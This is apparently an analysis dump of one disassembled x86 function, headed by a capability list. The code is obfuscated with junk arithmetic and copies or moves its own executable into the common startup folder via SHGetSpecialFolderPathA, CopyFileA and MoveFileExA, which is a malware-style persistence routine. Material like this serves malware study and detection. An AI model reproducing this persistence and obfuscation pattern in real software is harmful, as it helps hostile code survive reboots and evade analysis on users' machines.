Function at 0x40d1c0
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x45d320]
mov dword [esp + 0x300], eax
push ebx
push ebp
push esi
push edi
mov ecx, dword [0x45b9b0]
mov ebx, dword [0x45b9b8]
mov eax, 0x6352a551
imul ebx
sar edx, 0x12
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x92ea28a3
imul ecx
add edx, ecx
imul ecx, ecx, 0x67dee
mov eax, dword [0x45b9c0]
sar edx, 0x12
imul eax, eax, 0x85399
mov ebp, edx
shr ebp, 0x1f
add ebp, edx
mov edx, dword [0x45b9bc]
imul edx, edx, 0x53d95
add ebp, eax
add ebp, edx
mov edx, dword [0x45b9ac]
mov eax, 0x2a7feb
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov edi, dword [0x45b9c8]
imul edi, edi, 0x6f3fe
add ebp, esi
add ecx, ebp
mov ebp, dword [0x45b9a8]
add ecx, edi
imul ebp, ebp, 0x6ef8e
mov dword [0x45b9bc], ecx
mov ecx, dword [0x45b9c4]
mov eax, 0x92ea28a3
imul ecx
add edx, ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebp, ecx
mov ecx, dword [0x45b9b4]
mov eax, 0x6352a551
imul ecx
sar edx, 0x12
mov ecx, edx
add ebp, edx
mov edx, ebx
imul edx, edx, 0xa4f50
shr ecx, 0x1f
add ecx, ebp
add ecx, edx
mov eax, 0x9dbc161
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
add ecx, edi
push 0
push 0x44bd2c
mov dword [0x45b9c4], ecx
call fcn.0042f18d
add esp, 8
cmp eax, 0xffffffff
je 0x40d77b
push 0
push 0x44bd2c
call fcn.0042f18d
add esp, 8
cmp eax, 0xffffffff
je 0x40d77b
mov ecx, dword [0x45b9b0]
mov esi, dword [0x45b9c8]
mov eax, 0xf5f5c9f5
imul esi, esi, 0x6f3fe
imul ecx
add edx, ecx
mov ecx, dword [0x45b9a8]
sar edx, 0x13
add esi, edx
mov edi, edx
mov eax, 0x6352a551
imul ecx
imul ecx, ecx, 0x53d95
sar edx, 0x12
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
shr esi, 0x1f
add esi, edi
add esi, ecx
mov ecx, dword [0x45b9c4]
mov eax, 0x61b317a1
imul ecx
sar edx, 0x11
mov edi, edx
add esi, edx
mov eax, 0x2a7feb
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45b9c0]
imul edx, edx, 0x67dee
shr edi, 0x1f
add edi, esi
push 0x104
lea eax, [esp + 0x214]
sub edi, ecx
push eax
sub edi, edx
push 0
mov dword [0x45b9a8], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x210]
push 0x5c
push ecx
call fcn.0042fc00
push str..tmp
lea edx, [esp + 0x21c]
push edx
mov esi, eax
lea eax, [esp + 0x20]
push str._s_s
push eax
inc esi
call fcn.0042edf1
mov ecx, dword [0x45b9bc]
mov edi, dword [str._r_____r____]
mov eax, 0x92ea28a3
imul edi, edi, 0x6f854
imul ecx
add edx, ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45b9c8]
mov edx, ecx
imul edx, edx, 0x6f3fe
add edi, edx
mov edx, dword [0x45b9b0]
mov eax, 0x10779897
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esp, 0x18
add eax, edx
sub edi, eax
mov ebp, dword [0x45b9c4]
mov eax, 0x6352a551
imul ecx
sar edx, 0x12
mov ecx, edx
add edi, edx
mov edx, dword [0x45b9a8]
imul edx, edx, 0xc0c12
shr ecx, 0x1f
add ecx, edi
push 0
add ecx, edx
push 0x18
lea eax, [esp + 0x118]
sub ecx, ebp
push eax
sub ecx, 0x53d95
push 0
mov dword [0x45b9b0], ecx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40d460
sub eax, ecx
push esi
lea ecx, [esp + eax + 0x114]
push 0x44c148
push ecx
call fcn.0042edf1
mov ecx, dword [0x45b9c8]
mov eax, 0x24d17191
imul ecx
sar edx, 0x10
mov edi, dword [0x45b9b4]
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45b9ac]
imul edx, edx, 0x6ef8e
add ebx, edx
mov eax, 0x6352a551
imul edi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9c0]
sub ebx, eax
mov eax, 0x6352a551
imul edx
sar edx, 0x12
add ebx, edx
mov esi, edx
mov edx, ecx
imul edx, edx, 0x1b669
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x2682f007
imul ecx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esp, 0xc
mov dword [0x45b9b8], esi
xor ebx, ebx
jmp 0x40d515
mov esi, dword [0x45b9b8]
mov ecx, dword [0x45b9c8]
mov edi, dword [0x45b9b4]
mov eax, 0x10779897
imul ecx, ecx, 0x6f3fe
imul esi, esi, 0x85399
imul dword [0x45b9ac]
imul edi, edi, 0x3110b
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
mov esi, dword [0x45b9bc]
mov eax, 0x6352a551
imul esi
imul esi, esi, 0x53d95
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
sub eax, esi
lea ecx, [esp + 0x10]
sub eax, edi
push 0
push ecx
mov dword [0x45b9c0], eax
call fcn.0042f18d
add esp, 8
cmp eax, 0xffffffff
je 0x40d58d
lea edx, [esp + 0x10]
push edx
call ebp
inc ebx
cmp ebx, 0x64
jl 0x40d503
mov ecx, dword [0x45b9bc]
mov esi, dword [0x45b9c8]
mov edi, dword [str._r_____r____]
imul esi, esi, 0x6f3fe
mov eax, 0x93a3ffdd
imul ecx
add edx, ecx
sar edx, 0x12
add esi, edx
mov ebx, edx
mov eax, 0xf5f5c9f5
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45b9b0]
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x6352a551
imul esi
imul esi, esi, 0x3a996
sar edx, 0x12
add ebx, edx
mov ecx, edx
mov edx, dword [0x45b9c4]
imul edx, edx, 0x53d95
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [esp + 0x318]
sub ecx, edx
sub ecx, esi
test ebx, ebx
mov dword [0x45b9c8], ecx
je 0x40d618
cmp ebx, 2
jne 0x40d6ea
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x114]
push eax
lea ecx, [esp + 0x18]
push ecx
call esi
test eax, eax
jne 0x40d6de
mov ecx, dword [0x45b9b4]
mov edi, dword [0x45b9c8]
mov eax, 0x92ea28a3
imul edi, edi, 0xde7fc
imul ecx
add edx, ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6352a551
imul ecx
mov ecx, dword [0x45b9ac]
sar edx, 0x12
add edi, edx
mov ebx, edx
mov eax, 0x6352a551
imul ecx
sar edx, 0x12
shr ebx, 0x1f
add ebx, edi
mov edi, edx
add ebx, edx
mov edx, dword [0x45b9c0]
imul edx, edx, 0x6a5ba
shr edi, 0x1f
add edi, ebx
add edi, edx
mov eax, 0x9dbc161
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
push 6
add eax, edx
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
sub edi, eax
push edx
mov dword [str._r_____r____], edi
call esi
pop edi
pop esi
pop ebp
mov eax, 0xfffffffe
pop ebx
mov ecx, dword [esp + 0x300]
call fcn.0042ec21
add esp, 0x304
ret
mov ecx, dword [0x45b9c8]
mov edi, dword [str._r_____r____]
mov esi, dword [0x45b9ac]
mov eax, 0x93a3ffdd
imul esi
add edx, esi
sar edx, 0x12
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x6352a551
imul edi
sar edx, 0x12
add esi, edx
mov ebp, edx
mov eax, 0x6352a551
imul ecx
mov ecx, dword [0x45b9c0]
imul ecx, ecx, 0x6a5ba
shr ebp, 0x1f
sar edx, 0x12
add ebp, esi
mov eax, edx
shr eax, 0x1f
add ebp, edx
add eax, ebp
add eax, ecx
sub eax, edi
add eax, 0x3e2f3
cmp ebx, 1
mov dword [0x45b9ac], eax
je 0x40d74d
cmp ebx, 2
jne 0x40d762
push 0
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x300]
call fcn.0042ec21
add esp, 0x304
ret
mov ecx, dword [esp + 0x310]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
call fcn.0042ec21
add esp, 0x304
ret